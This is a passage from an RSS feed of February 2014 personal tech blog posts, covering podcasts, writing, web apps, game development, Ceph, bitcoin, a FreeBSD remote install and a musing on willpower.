Everything but the &amp;ldquo;tools&amp;rdquo; object is implemented, although that does not mean there is not more development to do on it.&lt;/p&gt;</description><author>Niklas Korz</author><pubDate>Sun, 23 Feb 2014 01:00:00 GMT</pubDate><guid isPermaLink="true">https://korz.dev/2014/02/progress-on-karapy/</guid></item><item><title>Exponent: The Garbage Truck Song</title><link>http://exponent.fm/episode-001-the-garbage-truck-song-2/</link><description>&lt;p&gt;Speaking of great podcasts, Ben Thompson and James Allworth just started a new show called &lt;a href="http://exponent.fm"&gt;&lt;em&gt;Exponent&lt;/em&gt;&lt;/a&gt;. In their first episode, released just a few days ago on Thursday, the pair took an interesting look at disruption theory, the innovator&amp;#8217;s dilemma, and culture as those aspects pertain to Microsoft and Apple&amp;#8217;s past and present situation as well influence their future directions. Rather than spending the majority of their time discussing Apple though, as many of today&amp;#8217;s tech podcast hosts are want to do, Ben and James had one of the most level-headed, intelligent, and engaging discussions on Microsoft I have heard since the company became a headline-worthy topic once again with the elevation of Satya Nadella to CEO. Any show with this impressive roster would be worth taking note of, but these two outdid themselves here: if their future episodes are anywhere near as good as this one, Exponent is going to grow into quite the remarkable show.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://exponent.fm/episode-001-the-garbage-truck-song-2/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 19:20:00 GMT</pubDate><guid isPermaLink="true">http://exponent.fm/episode-001-the-garbage-truck-song-2/</guid></item><item><title>The Weekly Briefly: A Writing Guide</title><link>http://weeklybriefly.net/a-writing-guide/</link><description>&lt;p&gt;Shawn Blanc and Patrick Rhone are two of my favorite writers. For this week&amp;#8217;s installment of The Weekly Briefly, they teamed up and recorded &lt;em&gt;A Writing Guide&lt;/em&gt; where they shared their thoughts on writing, motivation, building an audience, and putting yourself out there. Regardless of how good a writer you consider yourself, whether you follow these two or not, and even if you never intend to take writing beyond a nights-and-weekends hobby, I cannot recommend this episode enough: out of the hundreds of hours I have spent listening to podcasts over the last five years, this is by far and away one of the best&amp;#160;&amp;#8212;&amp;#160;if not &lt;em&gt;the&lt;/em&gt; best&amp;#160;&amp;#8212;&amp;#160;episodes on writing I have ever listened to.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://weeklybriefly.net/a-writing-guide/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 19:19:59 GMT</pubDate><guid isPermaLink="true">http://weeklybriefly.net/a-writing-guide/</guid></item><item><title>"The All New One"</title><link>https://twitter.com/evleaks/status/435916582569517056</link><description>&lt;p&gt;I can see it now: &amp;#8220;I just bought the 5S, but I&amp;#8217;m going to go get the all new one when it comes out later this year.&amp;#8221; Talk about a cumbersome naming convention: in this case the speaker is clearly talking about purchasing the latest iPhone, &lt;em&gt;or is he?&lt;/em&gt; Point is, no one really knows. What a curious and poorly-executed mimicry of Apple&amp;#8217;s admittedly clumsy naming convention by which they eschew model numbers on their iPads in favor of prepending the device&amp;#8217;s name with &amp;#8220;the new&amp;#8221;. And that&amp;#8217;s to say nothing of Apple&amp;#8217;s inexplicable aversion to articles before product names&amp;#160;&amp;#8212;&amp;#160;&amp;#8220;iPad Mini now has a Retina display&amp;#8221;, for example, rather than &amp;#8220;&lt;em&gt;The&lt;/em&gt; iPad Mini now has a Retina display&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;or the initialism debacle with the 5S whereby all of Apple&amp;#8217;s marketing materials had it listed as the &amp;#8220;5s&amp;#8221; in stark contrast to all previous &amp;#8220;S&amp;#8221; models which sported the properly-capitalized &amp;#8220;S&amp;#8221;. It would be so much easier if everyone could just pick a sensible and unique naming convention, and then stick to it. Hat-tip to &lt;a href="http://tabdump.com/blog/2014/2/19/february-19-46-tabs"&gt;&lt;em&gt;February 19: 46 tabs&lt;/em&gt;&lt;/a&gt; from Stefan Constantinescu for the link.&lt;/p&gt;


                &lt;p&gt;&lt;a href="https://twitter.com/evleaks/status/435916582569517056"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 19:14:39 GMT</pubDate><guid isPermaLink="true">https://twitter.com/evleaks/status/435916582569517056</guid></item><item><title>Wired Writers Guild</title><link>http://wiredwritersguild.com</link><description>&lt;p&gt;&amp;#8220;Build a Large Readership and Earn Your First Dollar&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;it&amp;#8217;s a goal everyone that writes on the internet strives for, but few know how to reach. Wired Writers Guild features lessons and articles designed to provide that information. Although I&amp;#8217;m only on day three of their daily series, I have already started benefiting from them: their second issue, asking me to formalize my motivations to write and the audience I wish to target, prompted me to think long and hard about these topics and ultimately resulted in &lt;a href="https://zacs.site/blog/me-the-writer.html"&gt;&lt;em&gt;Me the Writer&lt;/em&gt;&lt;/a&gt;, which kicked off a number of changes including the cessation of my newsletter and a minor redesign. If you can&amp;#8217;t get in to &lt;a href="https://zacs.site/blog/next-draft.html"&gt;NextDraft and TabDump&lt;/a&gt;, or even if you can and you want a really great writing resource at your disposal, I strongly encourage you to check Wired Writers Guild out.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://wiredwritersguild.com"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 18:08:25 GMT</pubDate><guid isPermaLink="true">http://wiredwritersguild.com</guid></item><item><title>Announcing Plus Party</title><link>https://peterlyons.com/problog/2014/02/announcing-plus-party/</link><description>&lt;p&gt;So when I started dealing with 1099-MISCs for tax season this year in January, I found myself struggling to get my data in a single place and compute a few simple sums for expenses, income, etc. My finances in 2013 weren't really complex enough to need a real small business finance software package, but I did find myself struggling with having to collect numbers from several different web sites to get things in order. At the end of the day I just needed to copy some numbers from web sites and total them up. However, I couldn't find any calculator out there that worked well for my use case of wanting a few key things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ignore extraneous formatting that may have been copy/pasted along with the numbers&lt;/li&gt;
&lt;li&gt;keep all the numbers on screen so I can easily see what has already been input and what has not&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, I ended up building one. Well, first I paired with &lt;a href="https://twitter.com/debrazapata"&gt;@debrazapata&lt;/a&gt; prototyping it at a coffee shop here in Louisville. We built the whole thing in one short session and she typed everything out having no experience with AngularJS. &lt;a href="http://jsfiddle.net/5QcL5/7/"&gt;Here's the jsfiddle she built&lt;/a&gt;. My version is up here at &lt;a href="https://peterlyons.com/plusParty"&gt;/plusParty&lt;/a&gt; including clips from Clue the movie, which is a well-deserved cult classic.&lt;/p&gt;
&lt;p&gt;So go check it out!&lt;/p&gt;
&lt;h1&gt;&lt;a href="https://peterlyons.com/plus-party/"&gt;Plus Party: Get Your Addition On!&lt;/a&gt;&lt;/h1&gt;</description><author>Pete's Points</author><pubDate>Sat, 22 Feb 2014 17:07:02 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/02/announcing-plus-party/</guid></item><item><title>How The iMac Cooling Fan Stays So Silent</title><link>http://www.cultofmac.com/267222/how-the-imac-cooling-fan-stays-so-silent/</link><description>&lt;p&gt;Originally published under the title &amp;#8220;Future Mac Fans Will Be Smaller And Quieter Than Ever [Patent]&amp;#8221;, I couldn&amp;#8217;t help but link to this blatant attack from Luke Dormehl. Who is he to predict the vocality or physical dimensions of Mac fans in the future? We are a community made of diverse individuals both outspoken and introverted; small and large. To so insensitively equate each and every one of us, then, making such a broad generalization as to our future is not only a claim completely unsubstantiable, but remarkably offensive as well. Getting just a little cocky over there at Cult of Mac, aren&amp;#8217;t we?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.cultofmac.com/267222/how-the-imac-cooling-fan-stays-so-silent/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 10:16:46 GMT</pubDate><guid isPermaLink="true">http://www.cultofmac.com/267222/how-the-imac-cooling-fan-stays-so-silent/</guid></item><item><title>NextDraft</title><link>http://nextdraft.com</link><description>&lt;p&gt;If you&amp;#8217;re looking to fill the void left by my now-discontinued newsletter, you could do much worse than Dave Pell&amp;#8217;s NextDraft. I subscribed a few days ago upon a friend&amp;#8217;s recommendation, and have enjoyed every issue since. It&amp;#8217;s billed as &amp;#8220;the day&amp;#8217;s most fascinating news&amp;#8221; so while you won&amp;#8217;t see the more obscure type of links I tended to throw in my newsletter, Dave makes up for it with great curation. The byline does not lie: NextDraft really does feature the day&amp;#8217;s most fascinating news. Alternately, if a daily newsletter isn&amp;#8217;t your thing, Stefan Constantinescu publishes a daily blog post collecting interesting news articles from the past twenty-four hours in much the same way Dave Pell does with NextDraft. I wrote a short post linking to one such collection a few weeks ago, which you can find &lt;a href="https://zacs.site/blog/57-tabs.html"&gt;here&lt;/a&gt;. I subscribe to both, but I realize that not everyone will find both equally attractive. So pick whichever suits your needs; you can&amp;#8217;t go wrong either way.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://nextdraft.com"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 08:49:00 GMT</pubDate><guid isPermaLink="true">http://nextdraft.com</guid></item><item><title>Me the Writer</title><link>https://zacs.site/blog/me-the-writer.html</link><description>&lt;p&gt;A few days ago The Typist and I spent an evening talking about a number of things, one of which dealt with the difficulty of developing an audience. During that conversation, he made a rather interesting observation, saying that the giants of today&amp;#8217;s tech scene made a name for themselves by writing about more than just one topic, whereas the common refrain these days dictates that a fledgling writer must pick one subject and stick to it. I responded in favor of this advice, for at the time I believed it the best way to differentiate oneself from the thousands of unfocused others clamoring for the finite resource that is time and attention. As I sought to explain myself though, I slowly came to realize that the advantages of this approach I considered so obvious were, in reality, not quite as clear-cut as I thought.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/me-the-writer.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Feb 2014 08:47:44 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/me-the-writer.html</guid></item><item><title>Performance of compound object operations in Ceph (part 2)</title><link>https://makedist.com/posts/2014/02/22/performance-of-compound-object-operations-in-ceph-part-2/</link><description>Reducing contention by striping operations across placement groups.</description><author>Noah Watkins</author><pubDate>Sat, 22 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/02/22/performance-of-compound-object-operations-in-ceph-part-2/</guid></item><item><title>Updating Kara’s Python</title><link>https://korz.dev/2014/02/updating-karas-python/</link><description>&lt;p&gt;Recently we started learning programming in my computer science course in school using Python. For this, we are using Kara, which looks like a game for children at first sight, but actually is pretty cool.
In case you do not know Kara&amp;hellip;&lt;/p&gt;</description><author>Niklas Korz</author><pubDate>Sat, 22 Feb 2014 01:00:00 GMT</pubDate><guid isPermaLink="true">https://korz.dev/2014/02/updating-karas-python/</guid></item><item><title>Announcing Wallah</title><link>https://peterlyons.com/problog/2014/02/announcing-wallah/</link><description>&lt;p&gt;I released an open source node.js package called &lt;a href="https://github.com/focusaurus/wallah"&gt;wallah&lt;/a&gt;. I use it as a submodule in my projects and it allows my build scripts to automatically pre-install my application's dependencies (node, npm packages, python, pip packages) lazily as needed and implicitly when one of my build script commands runs.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/focusaurus/wallah"&gt;&lt;img alt="wallah" src="https://peterlyons.com/images/wallah.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.flickr.com/photos/meanestindian/4127563975/"&gt;Photo by Meena Kadri&lt;/a&gt;. Copyright. Licensed &lt;a href="http://creativecommons.org/licenses/by-nc-nd/2.0/"&gt;Create Commons Attribution-NonCommercial-NoDerivs 2.0 Generic&lt;/a&gt;&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sat, 22 Feb 2014 00:55:34 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/02/announcing-wallah/</guid></item><item><title>Screenshot Saturday 159</title><link>https://etodd.io/2014/02/21/screenshot-saturday-159/</link><description>&lt;p&gt;This week I overhauled the menu. It's very Valve-ish now:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/8AY0jOK.jpg" target="_blank"&gt;&lt;img alt="" border="0" src="https://etodd.io/assets/8AY0jOKl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also distributed a number of mysterious notes around the levels to help flesh out the back story. They're actual 3D objects rendered and lit in the game world.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/LKreni6.jpg" target="_blank"&gt;&lt;img alt="" border="0" src="https://etodd.io/assets/LKreni6l.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;WHAT COULD IT MEAN? THIS REVELATORY NOTE HAS ADDED HEFTY NUANCE TO THE PLOT AND SIGNIFICANTLY INCREASED MY IMMERSION IN THE STORY.&lt;/p&gt;
&lt;p&gt;Other than that, just lots of level design iteration, scripting, and tweaking.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 22 Feb 2014 00:11:29 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/02/21/screenshot-saturday-159/</guid></item><item><title>Speaking at SCALE today!</title><link>https://purpleidea.com/blog/2014/02/21/speaking-at-scale-today/</link><description>&lt;p&gt;I&amp;rsquo;ll be giving a talk at &lt;a href="http://www.socallinuxexpo.org/scale12x"&gt;SCALE&lt;/a&gt; today about automatically deploying GlusterFS with Puppet-Gluster and Vagrant. I&amp;rsquo;ll be giving some live demos, and this will cover some of the material from:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/"&gt;Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;and it will contain excerpts from:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://purpleidea.com/blog/2014/01/27/screencasts-of-puppet-gluster-vagrant/"&gt;Screencasts of Puppet-Gluster + Vagrant&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll also be talking about some new upcoming features, and am happy to answer all of your questions!&lt;/p&gt;
&lt;p&gt;The talk will be part of &lt;a href="http://www.infranext.org/?page_id=18"&gt;Infrastructure.next&lt;/a&gt; and is starting around 1:30 or 2pm in the &lt;a href="http://www.socallinuxexpo.org/scale12x/schedule/friday"&gt;Century AB&lt;/a&gt; room.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 21 Feb 2014 15:54:47 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/02/21/speaking-at-scale-today/</guid></item><item><title>When Open Data meets Show and Tell</title><link>https://stop.zona-m.net/2014/02/when-open-data-meets-show-and-tell/</link><description>&lt;p&gt;&lt;em&gt;(this is a proposal for a talk and related workshop that I submitted for a  conference that took place in autumn 2013. The proposal was accepted but eventually didn&amp;rsquo;t happen due to lack of funding for travel expenses. Since the idea is not tied to that specific event in any way, here it is)&lt;/em&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 21 Feb 2014 08:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/02/when-open-data-meets-show-and-tell/</guid></item><item><title>Bitcoin Clones use Same Network?</title><link>https://boyter.org/2014/02/bitcoin-clones-network/</link><description>&lt;p&gt;Another comment I posted over on the TechZing Podcast. It was addressing Justin&amp;rsquo;s comment about bitcoin clones using the same &amp;ldquo;network&amp;rdquo; which is true, in that they share the same protocol but each have their own blockchain.&lt;/p&gt;
&lt;p&gt;Each of the “bitcoin” clones are actually their own network. As far as I am aware they have no communication between each network in any form. Its also why each one&amp;rsquo;s blockchain is so different in size. Also the difference between bitcoin and litecoin (and its clones, such as dogecoin) is the proof of work algorithm they use to verify transactions. Bitcoin uses SHA256 (hence you are seeing lots of ASIC devices) whereas litecoin uses Scrypt, which is more ASIC resistant (although ASIC is starting to come out for them as well).&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 21 Feb 2014 05:00:08 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/bitcoin-clones-network/</guid></item><item><title>Rover in Action</title><link>https://peanball.net/2014/02/rover-in-action/</link><description>&lt;p&gt;I&amp;rsquo;m working at a software company. One of our side projects is the integration of new control concepts and input devices to robotic control.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ve integrated a couple of input devices and can control different rovers. One of them is the one I built.&lt;/p&gt;</description><author>peanball.net</author><pubDate>Fri, 21 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://peanball.net/2014/02/rover-in-action/</guid></item><item><title>Web Site Overhaul</title><link>https://peterlyons.com/problog/2014/02/web-site-overhaul/</link><description>&lt;p&gt;I'm back in consulting mode these days, so I went and spruced up the web site a bit. You'll find mostly the same content, but there's a new design featuring improved typography and a slicker adaptive design for those small screens we tote around everywhere.&lt;/p&gt;
&lt;p&gt;I went and did a technology refresh across the whole stack as well, so the code has all been coverted &lt;a href="https://peterlyons.com/problog/2014/01/from-coffeescript-back-to-javascript"&gt;from CoffeeScript back to JavaScript&lt;/a&gt;. All jQuery has been abandoned in favor of plain modern JavaScript (sometimes jokingly called vanilla.js), and the more app-like pages have been rewritten as &lt;a href="http://angularjs.org"&gt;AngularJS&lt;/a&gt; apps.&lt;/p&gt;
&lt;p&gt;The test suite was already pretty comprehensive, but I've made it even slicker with &lt;a href="https://github.com/visionmedia/supertest"&gt;supertest&lt;/a&gt;. I've also written a handful of tests in &lt;a href="http://karma-runner.github.io/0.10/index.html"&gt;karma&lt;/a&gt; for the angular stuff. Pretty slick, but I still have more I could build there.&lt;/p&gt;
&lt;p&gt;I've also been quite delighted with using &lt;a href="http://browserify.org/"&gt;browserify&lt;/a&gt; as my browser-side module system. The contrast of the insanity of requirejs vs. my up-and-running-in-twenty-seconds experience with browserify cannot be overstated. @substack FTW. Losers, go home.&lt;/p&gt;
&lt;p&gt;A few years ago I abandoned maintaining my own photo management software in favor of just using flickr, but I used my old photo gallery application as a nice easy sandbox to learn AngularJS, so that has been updated and has better keyboard shortcuts and performance as it's a single page application now.&lt;/p&gt;
&lt;p&gt;My folder structure has also evolved significantly, moving away from a Ruby on Rails type layout to a group-by-coupling approach which I find immensely superior. Of course this whole site is &lt;a href="https://github.com/focusaurus/peterlyons.com"&gt;open source on github&lt;/a&gt;, so check out the overhaul everything got in the v5.0.0 tag.&lt;/p&gt;
&lt;p&gt;Oh yes and the deployment system has been totally revamped in light of my new and deep love for &lt;a href="http://ansibleworks.org"&gt;ansible&lt;/a&gt; and &lt;a href="http://vagrantup.com"&gt;Vagrant&lt;/a&gt;, so I can bootstrap a staging system from base OS image to fully deployed with a single command now and the whole issue of OSX local development not matching Ubuntu deployment is completely solved now.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Thu, 20 Feb 2014 17:24:48 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/02/web-site-overhaul/</guid></item><item><title>FreeBSD 10 on Dedibox SC gen 2 or any remote server with a rescue shell</title><link>https://blog.nobugware.com/post/2014/02/19/freebsd-10-on-dedibox-sc-gen-2-or-any-remote-server-with-a-rescue-shell/</link><description>FreeBSD 10 is out and it&amp;rsquo;s time to replace your Linux boxes ![cheeky](http://k dl.nobugware.com/static/ckeditor/plugins/smiley/images/tongue_smile.gif)
SC gen 2 is a VIA U2250 with 2Gb memory.
Start the rescue shell in amd64 12.04 Ubuntu, connect to the box via SSH with the temporary password
sudo -s cd /tmp wget http://ftp1.fr.freebsd.org/pub/FreeBSD/snapshots/ISO- IMAGES/10.0/FreeBSD-10.0-STABLE-amd64-20140216-r261948-disc1.iso apt-get update apt-get install qemu-kvm sudo qemu-system-x86_64 -no-kvm -hda /dev/sda -cdrom ./FreeBSD-10.0-STABLE- amd64-20140216-r261948-disc1.iso -net nic,model=e1000 -vnc :1,yourpassword -boot d This install qemu and run the FreeBSD installer from the downloaded CD.</description><author>Fabrice Aneche</author><pubDate>Wed, 19 Feb 2014 11:05:20 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2014/02/19/freebsd-10-on-dedibox-sc-gen-2-or-any-remote-server-with-a-rescue-shell/</guid></item><item><title>The Poor Man's Gameplay Analytics</title><link>https://etodd.io/2014/02/19/the-poor-mans-gameplay-analytics/</link><description>&lt;p&gt;You don't want to take time away from your awesome game to write boring analytics code. So you either call up some friends, hire playtesters, integrate some 3rd party SDK (ugh), or just do without.&lt;/p&gt;
&lt;p&gt;WRONG. You roll your own solution. Here's why.&lt;/p&gt;
&lt;h2&gt;Why you don't do without&lt;/h2&gt;
&lt;p&gt;The &lt;a href="http://en.wikipedia.org/wiki/OODA_loop"&gt;OODA loop&lt;/a&gt; models the way human individuals and groups operate. It goes like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Observe the situation&lt;/li&gt;
&lt;li&gt;Orient your observations in the context of goals, past experience, etc.&lt;/li&gt;
&lt;li&gt;Decide what to do&lt;/li&gt;
&lt;li&gt;Act on your decision&lt;/li&gt;
&lt;li&gt;Repeat!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After the initial act of creation, game developers operate under the same principle. You play the game and observe it, orient that data in the context of your goals, decide what to do, open your IDE, and put your plan in action. Rinse and repeat.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Wed, 19 Feb 2014 10:52:58 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/02/19/the-poor-mans-gameplay-analytics/</guid></item><item><title>Easy, but easy to f*ck up. 3 Rules to Setup Analytics Tools correctly.</title><link>https://klinger.io/posts/easy-but-easy-to-fuck-up-3-rules-to-setup-analytics-tools-correctly</link><description>As a consultant for analytics i see a fair share of integrations of analytics tools. One of the most common mistakes is how people...</description><author>Blog posts of Andreas Klinger</author><pubDate>Wed, 19 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://klinger.io/posts/easy-but-easy-to-fuck-up-3-rules-to-setup-analytics-tools-correctly</guid></item><item><title>What have I been up to? Early 2014 Edition</title><link>https://thomashunter.name/posts/2014-02-19-what-have-i-been-up-to-early-2014-edition</link><author>Thomas Hunter II</author><pubDate>Wed, 19 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-02-19-what-have-i-been-up-to-early-2014-edition</guid></item><item><title>Two Days Matter</title><link>http://tabdump.com/blog/2014/2/18/two-days</link><description>&lt;p&gt;Interesting perspective from Stefan Constantinescu on the news. There has been a great deal of talk in similar veins as of late, questioning not only the relevance of articles written in response to news stories, but their long-term value as well. This question has been posed as particularly damning to the Apple-tech-blog niche, where it combines with the oft-cited criticism that this segment&amp;#8217;s participants do little but constantly compliment one another. Taken in tandem, they form a juggernaut of sorts calling in to question the very worth of the profession so many writers have devoted themselves to. In the coming weeks, months, and&amp;#160;&amp;#8212;&amp;#160;hopefully&amp;#160;&amp;#8212;&amp;#160;years, this is a question I must think about long and hard, for my answer will inform the direction I ultimately take this site in.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://tabdump.com/blog/2014/2/18/two-days"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Feb 2014 17:44:41 GMT</pubDate><guid isPermaLink="true">http://tabdump.com/blog/2014/2/18/two-days</guid></item><item><title>How To Get Paid And Promoted Faster</title><link>http://www.financialsamurai.com/how-to-get-paid-and-promoted-faster/</link><description>&lt;p&gt;Yes, the title is maybe a little too sensational for my liking; yes, &amp;#8220;Financial Samurai&amp;#8221; is a bit ostentatious. But you know what? Sam Dogen is quickly becoming one of my favorite writers for his terrific financial insight, and that more than makes up for any choice I may disagree with with regards to his approach to writing on the internet. Of all the sites I subscribe to and all the writers I follow, he is the only writer whose work I read regardless of topic&amp;#160;&amp;#8212;&amp;#160;it&amp;#8217;s just that good. What&amp;#8217;s more, most of his work&amp;#160;&amp;#8212;&amp;#160;in addition to providing helpful advice I have already gone on to implement as a step towards securing my financial future&amp;#160;&amp;#8212;&amp;#160;can be translated and applied to the career I wish to some day have writing here. His latest article, linked above, is a great example of this valuable combination of practical advice for furthering you both in your career and your life as well, and thus something I strongly recommend you check out; and if you like it, go through his back catalog: each article is just as applicable today as it was when he first published it.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.financialsamurai.com/how-to-get-paid-and-promoted-faster/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Feb 2014 13:43:17 GMT</pubDate><guid isPermaLink="true">http://www.financialsamurai.com/how-to-get-paid-and-promoted-faster/</guid></item><item><title>Unsatisfiable</title><link>https://zacs.site/blog/unsatisfiable.html</link><description>&lt;p&gt;Last night I read &lt;a href="http://www.macstories.net/linked/flappy-bird-clone-made-with-pythonista-on-ios/"&gt;Federico Viticci&amp;#8217;s post&lt;/a&gt; about Jumpy Octopus, a Flappy Bird clone made in Python. I had the article open on my computer, so rather than navigate to the source code on my iPad, copy more than three hundred lines, and then paste them into Pythonista, I opened Command-C on both devices and sent my Mac&amp;#8217;s clipboard contents to my iPad. Less than a minute later I had tried, grown frustrated with, and ultimately abandoned the game. This article is not about the object of my distaste though, but about the mechanics that got it there in the first place.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/unsatisfiable.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Feb 2014 12:31:13 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/unsatisfiable.html</guid></item><item><title>Headbutting the Wall</title><link>http://crateofpenguins.com/blog/headbutting-the-wall</link><description>&lt;p&gt;I don&amp;#8217;t have an infant son to take care of, so I cannot speak to that adventure, but I can speak to its effects: every so often I undergo bouts of insomnia-like symptoms where no matter how much I may want to sleep, regardless of how significantly tomorrow&amp;#8217;s test will effect my grade, it&amp;#8217;s all I can do to hold myself still while my mind races. &lt;em&gt;What am I doing tomorrow? Did I finish all my homework? Will I have time to listen to that latest podcast episode? How about write? It&amp;#8217;s been far too long since I&amp;#8217;ve written anything but a link post. But I have so many articles in Instapaper...will I have time to finish them tomorrow?&lt;/em&gt; They say those who sleep well at night will never possess the perspective to truly appreciate the inability to sleep, and I completely agree with that: shortly after these experiences end, as I forget how truly terrible the last few nights were, even I begin to lose perspective; it really wasn&amp;#8217;t &lt;em&gt;that&lt;/em&gt; bad, after all. But losing sleep is: I never feel motivated to do anything, nothing interests me, I have a short temper and an even shorter tolerance for others, everything loses its luster, and the list goes on and on. Least of all, I feel the urge to create: that&amp;#8217;s the last thing I want to do after managing to fall asleep only to wake up a few hours later. I can only imagine how rough Sid has it right now.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/headbutting-the-wall"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Feb 2014 09:04:12 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/headbutting-the-wall</guid></item><item><title>Eating hot dogs</title><link>http://dimitarsimeonov.com/2014/02/18/eating-hot-dogs</link><description>&lt;p&gt;On a Saturday night, i got out to party. After a few hours of dancing, and a few drinks I we got of the club to take a taxi home. I got hit by the delicious smell of bacon grilling around juicy hot dogs. Next to the dogs, onions and peppers added extra savory smell and ggot my mouth watering as I imagined biting into the juicy, crunchy hot dog. I wanted the hot dog so bad. I was determined to eat the hot dog, and nobody could convince me otherwise. So, I got the hot dog, and I ate it. It felt good.&lt;/p&gt;

&lt;p&gt;This story has has happened many many times. Probably at least 20 times in the last couple of years. Even though I know that hot dog isn’t good healthy food. I know it may have suspicious ingredients, and is prepared with suspicious hygiene. It doesn’t make my muscles bigger, it makes my belly bigger. On the morning I feel heavier from the junk food. It is even not that tasty. And I don’t eat hot dog under normal sitations. But out of the club I still do it, and fall for it most of the time.&lt;/p&gt;

&lt;p&gt;Because in the moment I go out of the club, my body is the one taking the action, and not my mind, my thinking self. My longer term decision making, conscious self gives way to the short term greedy self. It is really amazing  how even though I am fully aware that the hot dog is not healthy, and I don’t normally like to eat it, I still do. I cant stop myself from eating it, and at the moment don’t even want to stop myself. Late at night, if you ask me I will tell you all the bad things about the hot dog and I will still eat it.&lt;/p&gt;

&lt;p&gt;At this moment, all the logic and reason isn’t enough to convince my body to obey. It is not impossible for the mind the overrule the body though. But it requires willpower. Willpower would allow me to be conscious and to act in favor of  my long term interests even when I have a primal urge not to do so. Willpower drives me to achieve larger goals, by powering through a bunch of uncomfortable inconveniences.&lt;/p&gt;

&lt;p&gt;I think we can define willpower as &lt;strong&gt;the ability to take actions based off of longer term interests when the actions based on shorter term interests seem more attractive&lt;/strong&gt;. In the short term I feel really happy by eating the hot dog, but in the longer term I might feel regret forfeeling heavy and out of shape. Willpower would mean that I decide to not eat the hot dog because it is not healthy. I would feel regret immediately and that’s the cost of excercising the willpower. Multiple studies and articles mention that willpower is a limited resource but to me this feels like a very crude model. Why? Because there are many people who are really driven and get to make themselves do a lot of things that seem to require a lot of willpower. I think these people have really strong long-term interests and thus they more often take decisions to serve these long term interests. From the outside they appear as if they have super strong willpower.&lt;/p&gt;

